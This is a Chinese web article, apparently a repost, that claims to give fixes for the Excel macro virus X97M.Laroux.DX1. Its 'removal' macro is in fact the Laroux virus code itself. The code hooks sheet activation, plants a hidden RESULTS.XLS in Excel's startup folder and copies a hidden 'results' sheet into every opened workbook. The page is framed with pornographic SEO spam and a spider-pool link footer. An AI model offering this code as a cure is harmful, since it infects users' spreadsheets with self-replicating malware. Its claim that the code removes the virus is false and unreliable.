国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 辦公 > Excel > 正文

EXCEL中宏毒X97M.Laroux.DX1的解決辦法

2024-08-23 19:53:27
字體:
來源:轉載
供稿:網友

  一般來說,Excel是不容易中毒的,要中毒的話,就會中宏代碼的毒。

  如果您的EXCEL中了X97M.Laroux.DX1的毒,請使用如下的方法來解決。

  一、常規方法

  使用殺毒軟件掃描全盤文件,然后,進入安全模式再刪除相應文件即可。

  二、使用EXCEL來解決

  ①禁止宏運行

  將EXCEL的安全級別設置為最高,這樣,X97M.Laroux.DX1宏就不能運行了。之后,打開EXCEL,將宏刪除即可。

  刪除方法為:工具→宏→宏→刪除。

  ②使用宏代碼刪除此毒

  刪除X97M.Laroux.DX1宏毒的宏代碼如下:

  Sub auto_open()

  application.OnSheetActivate = "ck_files"

  End Sub

  Sub ck_files()

  c$ = Application.StartupPath

  m$ = Dir(c$ & "" & "RESULTS.XLS")

  If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

  If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

  whichfile = p + w * 10

  Select Case whichfile

  Case 10

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  Sheets("results").Visible = True

  Sheets("results").Select

  Sheets("results").Copy

  With ActiveWorkbook

  .Title = ""

  .Subject = ""

  .Author = ""

  .KeyWords = ""

  .Comments = ""

  End With

  newname$ = ActiveWorkbook.Name

  c4$ = CurDir()

  ChDir Application.StartupPath

  ActiveWindow.Visible = False

  Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

  , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

  False, CreateBackup:=False

  ChDir c4$

  Workbooks(n4$).Sheets("results").Visible = False

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case 1

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  p4$ = ActiveWorkbook.Path

  s$ = Workbooks(n4$).Sheets(1).Name

  If s$ <> "results" Then

  Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

  Workbooks(n4$).Sheets("results").Visible = False

  Else

  End If

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case Else

  End Select

  End Sub


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 汉源县| 灵寿县| 岑溪市| 开封县| 成安县| 镇赉县| 蓝田县| 永康市| 临漳县| 萨嘎县| 大兴区| 阳新县| 湟中县| 昌平区| 广平县| 西盟| 张家口市| 遂溪县| 隆昌县| 司法| 香格里拉县| 武功县| 当阳市| 轮台县| 苍山县| 达孜县| 土默特右旗| 巩义市| 新丰县| 聂荣县| 城固县| 革吉县| 洪江市| 邛崃市| 祥云县| 禹州市| 叶城县| 涿鹿县| 泰顺县| 凤冈县| 开原市|